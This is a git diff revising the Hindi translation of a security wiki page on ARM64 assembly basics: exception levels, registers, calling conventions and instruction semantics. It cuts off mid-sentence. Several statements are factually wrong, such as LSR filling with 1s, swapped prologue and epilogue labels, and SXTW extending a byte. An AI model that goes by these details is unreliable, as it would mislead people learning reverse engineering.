a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index 49e1bbeac..46129f023 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -4,7 +4,7 @@ ## **अपवाद स्तर - EL (ARM64v8)** -ARMv8 आर्किटेक्चर में, निष्पादन स्तर, जिसे अपवाद स्तर (ELs) के रूप में जाना जाता है, निष्पादन वातावरण के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करता है। चार अपवाद स्तर हैं, जो EL0 से EL3 तक हैं, प्रत्येक का एक अलग उद्देश्य है: +ARMv8 आर्किटेक्चर में, निष्पादन स्तर, जिसे अपवाद स्तर (ELs) के रूप में जाना जाता है, निष्पादन वातावरण के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करता है। चार अपवाद स्तर हैं, जो EL0 से EL3 तक फैले हुए हैं, प्रत्येक का एक अलग उद्देश्य है: 1. **EL0 - उपयोगकर्ता मोड**: - यह सबसे कम विशेषाधिकार स्तर है और नियमित एप्लिकेशन कोड निष्पादित करने के लिए उपयोग किया जाता है। @@ -25,29 +25,29 @@ ARMv8 आर्किटेक्चर में, निष्पादन स ARM64 में **31 सामान्य-उद्देश्य रजिस्टर** होते हैं, जिन्हें `x0` से `x30` तक लेबल किया गया है। प्रत्येक **64-बिट** (8-बाइट) मान संग्रहीत कर सकता है। जिन ऑपरेशनों के लिए केवल 32-बिट मान की आवश्यकता होती है, उन रजिस्टरों को 32-बिट मोड में w0 से w30 के नामों का उपयोग करके एक्सेस किया जा सकता है। -1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर के रूप में और उपरूटीन को पैरामीटर पास करने के लिए उपयोग किए जाते हैं। +1. **`x0`** से **`x7`** - ये आमतौर पर स्क्रैच रजिस्टर के रूप में और उप-प्रक्रियाओं को पैरामीटर पास करने के लिए उपयोग किए जाते हैं। - **`x0`** एक फ़ंक्शन का लौटने वाला डेटा भी ले जाता है। 2. **`x8`** - लिनक्स कर्नेल में, `x8` `svc` निर्देश के लिए सिस्टम कॉल नंबर के रूप में उपयोग किया जाता है। **macOS में x16 का उपयोग किया जाता है!** 3. **`x9`** से **`x15`** - अधिक अस्थायी रजिस्टर, अक्सर स्थानीय चर के लिए उपयोग किए जाते हैं। -4. **`x16`** और **`x17`** - **इंट्रा-प्रोसीजर कॉल रजिस्टर**। तात्कालिक मानों के लिए अस्थायी रजिस्टर। इन्हें अप्रत्यक्ष फ़ंक्शन कॉल और PLT (प्रोसीजर लिंक टेबल) स्टब के लिए भी उपयोग किया जाता है। +4. **`x16`** और **`x17`** - **इंट्रा-प्रोसीजर कॉल रजिस्टर**। तात्कालिक मानों के लिए अस्थायी रजिस्टर। इन्हें अप्रत्यक्ष फ़ंक्शन कॉल और PLT (प्रक्रिया लिंक टेबल) स्टब के लिए भी उपयोग किया जाता है। - **`x16`** **`svc`** निर्देश के लिए **सिस्टम कॉल नंबर** के रूप में **macOS** में उपयोग किया जाता है। 5. **`x18`** - **प्लेटफ़ॉर्म रजिस्टर**। इसे सामान्य-उद्देश्य रजिस्टर के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर, यह रजिस्टर प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित है: विंडोज़ में वर्तमान थ्रेड वातावरण ब्लॉक के लिए पॉइंटर, या वर्तमान **निष्पादित कार्य संरचना को इंगित करने के लिए लिनक्स कर्नेल में**। 6. **`x19`** से **`x28`** - ये कॉल-सेव किए गए रजिस्टर हैं। एक फ़ंक्शन को अपने कॉलर के लिए इन रजिस्टरों के मानों को संरक्षित करना चाहिए, इसलिए इन्हें स्टैक में संग्रहीत किया जाता है और कॉलर पर वापस जाने से पहले पुनर्प्राप्त किया जाता है। 7. **`x29`** - **फ्रेम पॉइंटर** स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फ़ंक्शन को कॉल किया जाता है, तो **`x29`** रजिस्टर **स्टैक में संग्रहीत** किया जाता है और **नया** फ्रेम पॉइंटर पता (**`sp`** पता) इस रजिस्ट्रि में **संग्रहीत** किया जाता है। -- इस रजिस्टर का उपयोग एक **सामान्य-उद्देश्य रजिस्ट्रि** के रूप में भी किया जा सकता है, हालांकि इसे आमतौर पर **स्थानीय चर** के संदर्भ के रूप में उपयोग किया जाता है। -8. **`x30`** या **`lr`**- **लिंक रजिस्टर**। यह एक `BL` (ब्रांच विद लिंक) या `BLR` (ब्रांच विद लिंक टू रजिस्टर) निर्देश के निष्पादन के समय **लौटने वाले पते** को रखता है, जो **`pc`** मान को इस रजिस्टर में संग्रहीत करता है। +- इस रजिस्टर का उपयोग एक **सामान्य-उद्देश्य रजिस्टर** के रूप में भी किया जा सकता है, हालांकि इसे आमतौर पर **स्थानीय चर** के संदर्भ के रूप में उपयोग किया जाता है। +8. **`x30`** या **`lr`**- **लिंक रजिस्टर**। यह एक `BL` (ब्रांच विद लिंक) या `BLR` (ब्रांच विद लिंक टू रजिस्टर) निर्देश के निष्पादन के समय **रिटर्न पता** को रखता है, **`pc`** मान को इस रजिस्टर में संग्रहीत करके। - इसका उपयोग किसी अन्य रजिस्टर की तरह भी किया जा सकता है। - यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने जा रहा है और इसलिए `lr` को ओवरराइट करेगा, तो यह इसे स्टैक में शुरुआत में संग्रहीत करेगा, यह उपसंहार है (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp` और `lr` को स्टोर करें, स्थान उत्पन्न करें और नया `fp` प्राप्त करें) और अंत में इसे पुनर्प्राप्त करें, यह प्रस्तावना है (`ldp x29, x30, [sp], #48; ret` -> `fp` और `lr` को पुनर्प्राप्त करें और लौटें)। 9. **`sp`** - **स्टैक पॉइंटर**, जिसका उपयोग स्टैक के शीर्ष को ट्रैक करने के लिए किया जाता है। - **`sp`** मान को हमेशा कम से कम एक **क्वाडवर्ड** **संरेखण** पर रखा जाना चाहिए, अन्यथा एक संरेखण अपवाद हो सकता है। -10. **`pc`** - **प्रोग्राम काउंटर**, जो अगले निर्देश की ओर इशारा करता है। इस रजिस्टर को केवल अपवाद उत्पन्न करने, अपवाद लौटने और शाखाओं के माध्यम से अपडेट किया जा सकता है। केवल सामान्य निर्देश जो इस रजिस्टर को पढ़ सकते हैं, वे लिंक के साथ शाखा निर्देश (BL, BLR) हैं जो **`pc`** पते को **`lr`** (लिंक रजिस्टर) में संग्रहीत करते हैं। -11. **`xzr`** - **ज़ीरो रजिस्टर**। इसे इसके **32**-बिट रजिस्टर रूप में **`wzr`** भी कहा जाता है। इसका उपयोग आसानी से शून्य मान प्राप्त करने (सामान्य ऑपरेशन) या **`subs`** का उपयोग करके तुलना करने के लिए किया जा सकता है जैसे **`subs XZR, Xn, #10`** परिणामस्वरूप डेटा को कहीं भी संग्रहीत नहीं करता ( **`xzr`** में)। +10. **`pc`** - **प्रोग्राम काउंटर**, जो अगले निर्देश की ओर इशारा करता है। इस रजिस्टर को केवल अपवाद उत्पन्न करने, अपवाद लौटने और शाखाओं के माध्यम से अपडेट किया जा सकता है। केवल सामान्य निर्देश जो इस रजिस्टर को पढ़ सकते हैं वे लिंक के साथ शाखा निर्देश (BL, BLR) हैं जो **`pc`** पता को **`lr`** (लिंक रजिस्टर) में संग्रहीत करते हैं। +11. **`xzr`** - **ज़ीरो रजिस्टर**। इसे इसके **32**-बिट रजिस्टर रूप में **`wzr`** भी कहा जाता है। इसका उपयोग आसानी से शून्य मान प्राप्त करने (सामान्य ऑपरेशन) या **`subs`** का उपयोग करके तुलना करने के लिए किया जा सकता है जैसे **`subs XZR, Xn, #10`** परिणामस्वरूप डेटा को कहीं भी संग्रहीत किए बिना ( **`xzr`** में)। **`Wn`** रजिस्टर **`Xn`** रजिस्टर का **32-बिट** संस्करण हैं। ### SIMD और फ्लोटिंग-पॉइंट रजिस्टर -इसके अलावा, **128-बिट लंबाई के 32 रजिस्टर** हैं जिन्हें अनुकूलित सिंगल इंस्ट्रक्शन मल्टीपल डेटा (SIMD) संचालन में और फ्लोटिंग-पॉइंट अंकगणित करने के लिए उपयोग किया जा सकता है। इन्हें Vn रजिस्टर कहा जाता है, हालांकि वे **64**-बिट, **32**-बिट, **16**-बिट और **8**-बिट में भी कार्य कर सकते हैं और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है। +इसके अलावा, **128-बिट लंबाई के 32 रजिस्टर** हैं जिन्हें अनुकूलित सिंगल इंस्ट्रक्शन मल्टीपल डेटा (SIMD) ऑपरेशनों में और फ्लोटिंग-पॉइंट अंकगणित करने के लिए उपयोग किया जा सकता है। इन्हें Vn रजिस्टर कहा जाता है, हालांकि वे **64**-बिट, **32**-बिट, **16**-बिट और **8**-बिट में भी कार्य कर सकते हैं और तब इन्हें **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** और **`Bn`** कहा जाता है। ### सिस्टम रजिस्टर @@ -55,7 +55,7 @@ ARM64 में **31 सामान्य-उद्देश्य रजिस इन्हें केवल समर्पित विशेष निर्देश **`mrs`** और **`msr`** का उपयोग करके पढ़ा या सेट किया जा सकता है। विशेष रजिस्टर **`TPIDR_EL0`** और **`TPIDDR_EL0`** आमतौर पर रिवर्स इंजीनियरिंग करते समय पाए जाते हैं। `EL0` उपसर्ग उस **न्यूनतम अपवाद** को इंगित करता है जिससे रजिस्टर को एक्सेस किया जा सकता है (इस मामले में EL0 नियमित अपवाद (विशेषाधिकार) स्तर है जिस पर नियमित प्रोग्राम चलते हैं)।\ -इन्हें आमतौर पर **थ्रेड-स्थानीय भंडारण** मेमोरी क्षेत्र के **बेस पते** को संग्रहीत करने के लिए उपयोग किया जाता है। आमतौर पर पहला पढ़ने और लिखने के लिए EL0 में चलने वाले प्रोग्राम के लिए पढ़ने योग्य और लिखने योग्य होता है, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 से लिखा जा सकता है (जैसे कर्नेल)। +इनका उपयोग आमतौर पर **थ्रेड-स्थानीय भंडारण** मेमोरी क्षेत्र के **बेस पते** को संग्रहीत करने के लिए किया जाता है। आमतौर पर पहला पढ़ने और लिखने के लिए EL0 में चलने वाले प्रोग्राम के लिए पढ़ने योग्य और लिखने योग्य होता है, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 से लिखा जा सकता है (जैसे कर्नेल)। - `mrs x0, TPIDR_EL0 ; TPIDR_EL0 को x0 में पढ़ें` - `msr TPIDR_EL0, X0 ; x0 को TPIDR_EL0 में लिखें` @@ -82,7 +82,7 @@ ARM64 में **31 सामान्य-उद्देश्य रजिस - वर्तमान **रजिस्टर चौड़ाई (`nRW`) ध्वज**: यदि ध्वज का मान 0 है, तो प्रोग्राम फिर से शुरू होने पर AArch64 निष्पादन स्थिति में चलेगा। - वर्तमान **अपवाद स्तर** (**`EL`**): EL0 में चलने वाला एक नियमित प्रोग्राम का मान 0 होगा। -- **सिंगल स्टेपिंग** ध्वज (**`SS`**): डिबगर्स द्वारा एक सिंगल स्टेप सेट करने के लिए उपयोग किया जाता है **`SPSR_ELx`** के भीतर एक अपवाद के माध्यम से SS ध्वज को 1 पर सेट करके। प्रोग्राम एक कदम चलेगा और एक सिंगल स्टेप अपवाद जारी करेगा। +- **सिंगल स्टेपिंग** ध्वज (**`SS`**): डिबगर्स द्वारा एक सिंगल स्टेप सेट करने के लिए उपयोग किया जाता है, **`SPSR_ELx`** के भीतर SS ध्वज को 1 पर सेट करके एक अपवाद के माध्यम से। प्रोग्राम एक कदम चलेगा और एक सिंगल स्टेप अपवाद जारी करेगा। - **अवैध अपवाद** स्थिति ध्वज (**`IL`**): इसका उपयोग तब किया जाता है जब एक विशेषाधिकार प्राप्त सॉफ़्टवेयर एक अवैध अपवाद स्तर स्थानांतरण करता है, यह ध्वज 1 पर सेट किया जाता है और प्रोसेसर एक अवैध स्थिति अपवाद उत्पन्न करता है। - **`DAIF`** ध्वज: ये ध्वज एक विशेषाधिकार प्राप्त प्रोग्राम को कुछ बाहरी अपवादों को चयनात्मक रूप से मास्क करने की अनुमति देते हैं। - यदि **`A`** 1 है, तो इसका अर्थ है कि **असिंक्रोनस एबॉर्ट्स** उत्पन्न होंगे। **`I`** बाहरी हार्डवेयर **इंटरप्ट रिक्वेस्ट** (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F **फास्ट इंटरप्ट रिक्वेस्ट** (FIRs) से संबंधित है। @@ -90,9 +90,9 @@ ARM64 में **31 सामान्य-उद्देश्य रजिस ## **कॉलिंग कन्वेंशन (ARM64v8)** -ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फ़ंक्शन के लिए **पहले आठ पैरामीटर** रजिस्टर **`x0` से `x7`** में पास किए जाते हैं। **अतिरिक्त** पैरामीटर **स्टैक** पर पास किए जाते हैं। **लौटने** वाला मान रजिस्टर **`x0`** में वापस पास किया जाता है, या **`x1`** में भी **यदि यह 128 बिट लंबा है**। **`x19`** से **`x30`** और **`sp`** रजिस्टर को फ़ंक्शन कॉल के बीच **संरक्षित** किया जाना चाहिए। +ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फ़ंक्शन के लिए **पहले आठ पैरामीटर** रजिस्टर **`x0` से `x7`** में पास किए जाते हैं। **अतिरिक्त** पैरामीटर **स्टैक** पर पास किए जाते हैं। **रिटर्न** मान रजिस्टर **`x0`** में वापस पास किया जाता है, या **`x1`** में भी **यदि यह 128 बिट लंबा है**। **`x19`** से **`x30`** और **`sp`** रजिस्टर को फ़ंक्शन कॉल के बीच **संरक्षित** किया जाना चाहिए। -जब असेंबली में एक फ़ंक्शन को पढ़ते हैं, तो **फ़ंक्शन प्रस्तावना और उपसंहार** की तलाश करें। **प्रस्तावना** आमतौर पर **फ्रेम पॉइंटर (`x29`) को सहेजने**, **नए फ्रेम पॉइंटर को सेट करने**, और **स्टैक स्पेस आवंटित करने** में शामिल होती है। **उपसंहार** आमतौर पर **सहेजे गए फ्रेम पॉइंटर को पुनर्स्थापित करने** और फ़ंक्शन से **लौटने** में शामिल होता है। +जब असेंबली में एक फ़ंक्शन को पढ़ते हैं, तो **फ़ंक्शन प्रस्तावना और उपसंहार** की तलाश करें। **प्रस्तावना** आमतौर पर **फ्रेम पॉइंटर (`x29`) को सहेजने**, **नए फ्रेम पॉइंटर** को सेट करने और **स्टैक स्पेस आवंटित करने** में शामिल होती है। **उपसंहार** आमतौर पर **सहेजे गए फ्रेम पॉइंटर को पुनर्स्थापित करने** और फ़ंक्शन से **लौटने** में शामिल होता है। ### स्विफ्ट में कॉलिंग कन्वेंशन @@ -102,28 +102,28 @@ ARM64 कॉलिंग कन्वेंशन निर्दिष्ट ARM64 निर्देश आमतौर पर **फॉर्मेट `opcode dst, src1, src2`** में होते हैं, जहाँ **`opcode`** वह **ऑपरेशन** है जिसे किया जाना है (जैसे `add`, `sub`, `mov`, आदि), **`dst`** वह **गंतव्य** रजिस्टर है जहाँ परिणाम संग्रहीत किया जाएगा, और **`src1`** और **`src2`** वह **स्रोत** रजिस्टर हैं। तात्कालिक मानों का भी स्रोत रजिस्टर के स्थान पर उपयोग किया जा सकता है। -- **`mov`**: एक **रजिस्टर** से दूसरे में एक मान **स्थानांतरित** करें। -- उदाहरण: `mov x0, x1` — यह `x1` से `x0` में मान स्थानांतरित करता है। +- **`mov`**: एक **रजिस्टर** से दूसरे में मान **स्थानांतरित** करें। +- उदाहरण: `mov x0, x1` — यह मान को `x1` से `x0` में स्थानांतरित करता है। - **`ldr`**: **मेमोरी** से एक मान को **रजिस्टर** में **लोड** करें। - उदाहरण: `ldr x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक मान को `x0` में लोड करता है। -- **ऑफसेट मोड**: एक ऑफसेट जो मूल पॉइंटर को प्रभावित करता है, उदाहरण के लिए: +- **ऑफसेट मोड**: एक ऑफसेट जो ओरिजिन पॉइंटर को प्रभावित करता है, उदाहरण के लिए: - `ldr x2, [x1, #8]`, यह x2 में x1 + 8 से मान लोड करेगा। - `ldr x2, [x0, x1, lsl #2]`, यह x2 में x0 के ऐरे से एक वस्तु लोड करेगा, स्थिति x1 (सूचकांक) \* 4 से। -- **पूर्व-सूचीबद्ध मोड**: यह मूल पर गणनाएँ लागू करेगा, परिणाम प्राप्त करेगा और नए मूल को भी मूल में संग्रहीत करेगा। +- **पूर्व-सूचीबद्ध मोड**: यह ओरिजिन पर गणनाएँ लागू करेगा, परिणाम प्राप्त करेगा और नए ओरिजिन को भी ओरिजिन में संग्रहीत करेगा। - `ldr x2, [x1, #8]!`, यह `x1 + 8` को `x2` में लोड करेगा और `x1` में `x1 + 8` का परिणाम संग्रहीत करेगा। - `str lr, [sp, #-4]!`, लिंक रजिस्टर को sp में संग्रहीत करें और रजिस्टर sp को अपडेट करें। -- **पोस्ट-सूचीबद्ध मोड**: यह पिछले वाले की तरह है लेकिन मेमोरी पते को एक्सेस किया जाता है और फिर ऑफसेट की गणना की जाती है और संग्रहीत किया जाता है। -- `ldr x0, [x1], #8`, `x1` में `x0` लोड करें और `x1` को `x1 + 8` के साथ अपडेट करें। +- **पोस्ट-सूचीबद्ध मोड**: यह पिछले वाले की तरह है लेकिन मेमोरी पते को एक्सेस किया जाता है और फिर ऑफसेट की गणना की जाती है और संग्रहीत की जाती है। +- `ldr x0, [x1], #8`, `x1` को `x0` में लोड करें और `x1` को `x1 + 8` के साथ अपडेट करें। - **PC-सापेक्ष पता लगाना**: इस मामले में लोड करने के लिए पता PC रजिस्टर के सापेक्ष गणना की जाती है। - `ldr x1, =_start`, यह `_start` प्रतीक के प्रारंभ होने का पता x1 में लोड करेगा जो वर्तमान PC से संबंधित है। -- **`str`**: एक **रजिस्टर** से **मेमोरी** में एक मान **स्टोर** करें। +- **`str`**: एक **रजिस्टर** से **मेमोरी** में मान **स्टोर** करें। - उदाहरण: `str x0, [x1]` — यह `x0` में मान को `x1` द्वारा इंगित मेमोरी स्थान में संग्रहीत करता है। - **`ldp`**: **रजिस्टर की जोड़ी लोड करें**। यह निर्देश **दो रजिस्टर** को **लगातार मेमोरी** स्थानों से लोड करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। - उदाहरण: `ldp x0, x1, [x2]` — यह `x0` और `x1` को `x2` और `x2 + 8` पर मेमोरी स्थानों से लोड करता है। - **`stp`**: **रजिस्टर की जोड़ी स्टोर करें**। यह निर्देश **दो रजिस्टर** को **लगातार मेमोरी** स्थानों में संग्रहीत करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। - उदाहरण: `stp x0, x1, [sp]` — यह `x0` और `x1` को `sp` और `sp + 8` पर मेमोरी स्थानों में संग्रहीत करता है। - `stp x0, x1, [sp, #16]!` — यह `x0` और `x1` को `sp+16` और `sp + 24` पर मेमोरी स्थानों में संग्रहीत करता है, और `sp` को `sp+16` के साथ अपडेट करता है। -- **`add`**: दो रजिस्टर के मानों को जोड़ें और परिणाम को एक रजिस्टर में संग्रहीत करें। +- **`add`**: दो रजिस्टरों के मानों को जोड़ें और परिणाम को एक रजिस्टर में संग्रहीत करें। - सिंटैक्स: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> गंतव्य - Xn2 -> ऑपरेन्ड 1 @@ -132,59 +132,59 @@ ARM64 निर्देश आमतौर पर **फॉर्मेट `opco - उदाहरण: `add x0, x1, x2` — यह `x1` और `x2` में मानों को जोड़ता है और परिणाम को `x0` में संग्रहीत करता है। - `add x5, x5, #1, lsl #12` — यह 4096 के बराबर है (1 को 12 बार शिफ्ट करना) -> 1 0000 0000 0000 0000 - **`adds`** यह एक `add` करता है और ध्वज को अपडेट करता है। -- **`sub`**: दो रजिस्टर के मानों को घटाएं और परिणाम को एक रजिस्टर में संग्रहीत करें। +- **`sub`**: दो रजिस्टरों के मानों को घटाएं और परिणाम को एक रजिस्टर में संग्रहीत करें। - **`add`** **सिंटैक्स** की जांच करें। - उदाहरण: `sub x0, x1, x2` — यह `x2` के मान को `x1` से घटाता है और परिणाम को `x0` में संग्रहीत करता है। - **`subs`** यह घटाव की तरह है लेकिन ध्वज को अपडेट करता है। -- **`mul`**: **दो रजिस्टर** के मानों को गुणा करें और परिणाम को एक रजिस्टर में संग्रहीत करें। +- **`mul`**: **दो रजिस्टरों** के मानों को गुणा करें और परिणाम को एक रजिस्टर में संग्रहीत करें। - उदाहरण: `mul x0, x1, x2` — यह `x1` और `x2` में मानों को गुणा करता है और परिणाम को `x0` में संग्रहीत करता है। - **`div`**: एक रजिस्टर के मान को दूसरे से विभाजित करें और परिणाम को एक रजिस्टर में संग्रहीत करें। - उदाहरण: `div x0, x1, x2` — यह `x1` के मान को `x2` से विभाजित करता है और परिणाम को `x0` में संग्रहीत करता है। - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **तार्किक शिफ्ट बाएं**: अंत से 0 जोड़ें और अन्य बिट्स को आगे बढ़ाएं (n-बार 2 से गुणा करें) -- **तार्किक शिफ्ट दाएं**: शुरुआत में 1 जोड़ें और अन्य बिट्स को पीछे की ओर बढ़ाएं (unsigned में n-बार 2 से विभाजित करें) -- **गणितीय शिफ्ट दाएं**: **`lsr`** की तरह, लेकिन यदि सबसे महत्वपूर्ण बिट 1 है, तो 0 जोड़ने के बजाय, **1 जोड़ें** (signed में n-बार 2 से विभाजित करें) -- **दाएं घुमाना**: **`lsr`** की तरह लेकिन जो भी दाएं से हटा दिया गया है उसे बाएं जोड़ा जाता है। -- **एक्सटेंड के साथ दाएं घुमाना**: **`ror`** की तरह, लेकिन कैरी ध्वज को "सबसे महत्वपूर्ण बिट" के रूप में। इसलिए कैरी ध्वज को बिट 31 में स्थानांतरित किया जाता है और हटाए गए बिट को कैरी ध्वज में। -- **`bfm`**: **बिट फील्ड मूव**, ये ऑपरेशन **`0...n`** बिट्स को एक मान से कॉपी करते हैं और उन्हें **`m..m+n`** स्थानों में रखते हैं। **`#s`** सबसे बाएं बिट स्थिति को निर्दिष्ट करता है और **`#r`** दाएं घुमाने की मात्रा को निर्दिष्ट करता है। -- बिटफील्ड मूव: `BFM Xd, Xn, #r` -- साइन बिटफील्ड मूव: `SBFM Xd, Xn, #r, #s` -- अनसाइन बिटफील्ड मूव: `UBFM Xd, Xn, #r, #s` -- **बिटफील्ड निकालें और डालें:** एक रजिस्टर से एक बिटफील्ड को कॉपी करें और इसे दूसरे रजिस्टर में कॉपी करें। +- **तर्कसंगत शिफ्ट बाएं**: अंत से 0 जोड़ें और अन्य बिट्स को आगे बढ़ाएं (n-बार 2 से गुणा करें) +- **तर्कसंगत शिफ्ट दाएं**: शुरुआत में 1 जोड़ें और अन्य बिट्स को पीछे की ओर बढ़ाएं (unsigned में n-बार 2 से विभाजित करें) +- **गणितीय शिफ्ट दाएं**: **`lsr`** की तरह, लेकिन यदि सबसे महत्वपूर्ण बिट 1 है, तो 0 जोड़ने के बजाय, **1s जोड़े जाते हैं** (signed में n-बार 2 से विभाजित करें) +- **दाएं घुमाना**: **`lsr`** की तरह लेकिन जो कुछ दाएं से हटा दिया गया है उसे बाएं जोड़ा जाता है। +- **विस्तारित के साथ दाएं घुमाना**: **`ror`** की तरह, लेकिन कैरी ध्वज को "सबसे महत्वपूर्ण बिट" के रूप में। इसलिए कैरी ध्वज को बिट 31 में स्थानांतरित किया जाता है और हटा दिया गया बिट कैरी ध्वज में होता है। +- **`bfm`**: **बिट फ़ील्ड मूव**, ये ऑपरेशन **`0...n`** से बिट्स को एक मान से कॉपी करते हैं और उन्हें **`m..m+n`** में रखते हैं। **`#s`** सबसे **बाएं बिट** स्थिति को निर्दिष्ट करता है और **`#r`** **दाएं घुमाने की मात्रा** को। +- बिटफ़ील्ड मूव: `BFM Xd, Xn, #r` +- साइन बिटफ़ील्ड मूव: `SBFM Xd, Xn, #r, #s` +- अनसाइन बिटफ़ील्ड मूव: `UBFM Xd, Xn, #r, #s` +- **बिटफ़ील्ड निकालें और डालें:** एक रजिस्टर से एक बिटफ़ील्ड को कॉपी करें और इसे दूसरे रजिस्टर में कॉपी करें। - **`BFI X1, X2, #3, #4`** X1 के 3वें बिट से X2 के 4 बिट्स डालें। - **`BFXIL X1, X2, #3, #4`** X2 के 3वें बिट से चार बिट्स निकालें और उन्हें X1 में कॉपी करें। - **`SBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को साइन-एक्सटेंड करें और उन्हें X1 में डालें, बिट स्थिति 3 से दाएं बिट्स को शून्य करते हुए। -- **`SBFX X1, X2, #3, #4`** X2 से 4 बिट्स को 3 से शुरू करते हुए निकालता है, उन्हें साइन-एक्सटेंड करता है, और परिणाम को X1 में रखता है। +- **`SBFX X1, X2, #3, #4`** X2 से बिट 3 से शुरू होने वाले 4 बिट्स को निकालता है, उन्हें साइन-एक्सटेंड करता है, और परिणाम को X1 में रखता है। - **`UBFIZ X1, X2, #3, #4`** X2 से 4 बिट्स को शून्य-एक्सटेंड करता है और उन्हें X1 में डालता है, बिट स्थिति 3 से दाएं बिट्स को शून्य करते हुए। -- **`UBFX X1, X2, #3, #4`** X2 से 4 बिट्स को 3 से शुरू करते हुए निकालता है और शून्य-एक्सटेंडेड परिणाम को X1 में रखता है। +- **`UBFX X1, X2, #3, #4`** X2 से बिट 3 से शुरू होने वाले 4 बिट्स को निकालता है और शून्य-एक्सटेंडेड परिणाम को X1 में रखता है। - **साइन एक्सटेंड टू X:** एक मान के साइन को बढ़ाता है (या अनसाइन संस्करण में केवल 0 जोड़ता है) ताकि इसके साथ ऑपरेशन किया जा सके: -- **`SXTB X1, W2`** W2 से **X1** में एक बाइट के साइन को बढ़ाता है (`W2` `X2` का आधा है) ताकि 64-बिट भरे। -- **`SXTH X1, W2`** W2 से **X1** में 16-बिट संख्या के साइन को बढ़ाता है ताकि 64-बिट भरे। -- **`SXTW X1, W2`** W2 से **X1** में एक बाइट के साइन को बढ़ाता है ताकि 64-बिट भरे। -- **`UXTB X1, W2`** W2 से **X1** में 0 जोड़ता है (अनसाइन) ताकि 64-बिट भरे। -- **`extr`:** निर्दिष्ट **रजिस्टर के जोड़े से बिट्स निकालता है**। -- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2 को जोड़ता है** और **W2 के बिट 3 से W1 के बिट 3 तक** निकालता है और इसे W3 में संग्रहीत करता है। -- **`cmp`**: **दो रजिस्टर की तुलना करें** और स्थिति ध्वज सेट करें। यह **`subs`** का एक **उपनाम** है जो गंतव्य रजिस्टर को शून्य रजिस्टर पर सेट करता है। यह जानने के लिए उपयोगी है कि `m == n`। +- **`SXTB X1, W2`** W2 से **X1** तक एक बाइट के साइन को बढ़ाता है (`W2` `X2` का आधा है) ताकि 64-बिट भरे। +- **`SXTH X1, W2`** W2 से **X1** तक एक 16-बिट संख्या के साइन को बढ़ाता है ताकि 64-बिट भरे। +- **`SXTW X1, W2`** W2 से **X1** तक एक बाइट के साइन को बढ़ाता है ताकि 64-बिट भरे। +- **`UXTB X1, W2`** W2 से **X1** तक एक बाइट में 0 जोड़ता है (अनसाइन) ताकि 64-बिट भरे। +- **`extr`:** निर्दिष्ट **रजिस्टरों के जोड़े से बिट्स निकालता है**। +- उदाहरण: `EXTR W3, W2, W1, #3` यह **W1+W2 को जोड़ता है** और **W2 के बिट 3 से W1 के बिट 3 तक** प्राप्त करता है और इसे W3 में संग्रहीत करता है। +- **`cmp`**: **दो रजिस्टरों की तुलना करें** और स्थिति ध्वज सेट करें। यह **`subs`** का एक **उपनाम** है जो गंतव्य रजिस्टर को शून्य रजिस्टर पर सेट करता है। यह जानने के लिए उपयोगी है कि `m == n`। - यह **`subs`** के समान सिंटैक्स का समर्थन करता है। - उदाहरण: `cmp x0, x1` — यह `x0` और `x1` में मानों की तुलना करता है और स्थिति ध्वज को तदनुसार सेट करता है। - **`cmn`**: **नकारात्मक** ऑपरेन्ड की तुलना करें। इस मामले में यह **`adds`** का एक **उपनाम** है और समान सिंटैक्स का समर्थन करता है। यह जानने के लिए उपयोगी है कि `m == -n`। -- **`ccmp`**: शर्तीय तुलना, यह एक तुलना है जो केवल तभी की जाएगी जब एक पूर्ववर्ती तुलना सत्य थी और विशेष रूप से nzcv बिट्स को सेट करेगी। +- **`ccmp`**: शर्तीय तुलना, यह एक तुलना है जो केवल तभी की जाएगी जब एक पूर्ववर्ती तुलना सत्य हो और विशेष रूप से nzcv बिट्स को सेट करेगी। - `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> यदि x1 != x2 और x3 < x4, तो func पर कूदें। -- इसका कारण यह है कि **`ccmp`** केवल तब निष्पादित होगा जब **पिछली `cmp` एक `NE`** थी, यदि यह नहीं थी तो बिट्स `nzcv` को 0 पर सेट कर दिया जाएगा (जो `blt` तुलना को संतुष्ट नहीं करेगा)। +- इसका कारण यह है कि **`ccmp`** केवल तब निष्पादित होगा जब **पिछली `cmp` एक `NE`** थी, यदि यह नहीं थी तो बिट्स `nzcv` को 0 पर सेट कर देंगे (जो `blt` तुलना को संतुष्ट नहीं करेगा)। - इसे `ccmn` के रूप में भी उपयोग किया जा सकता है (समान लेकिन नकारात्मक, जैसे `cmp` बनाम `cmn`)। -- **`tst`**: यह जांचता है कि क्या तुलना 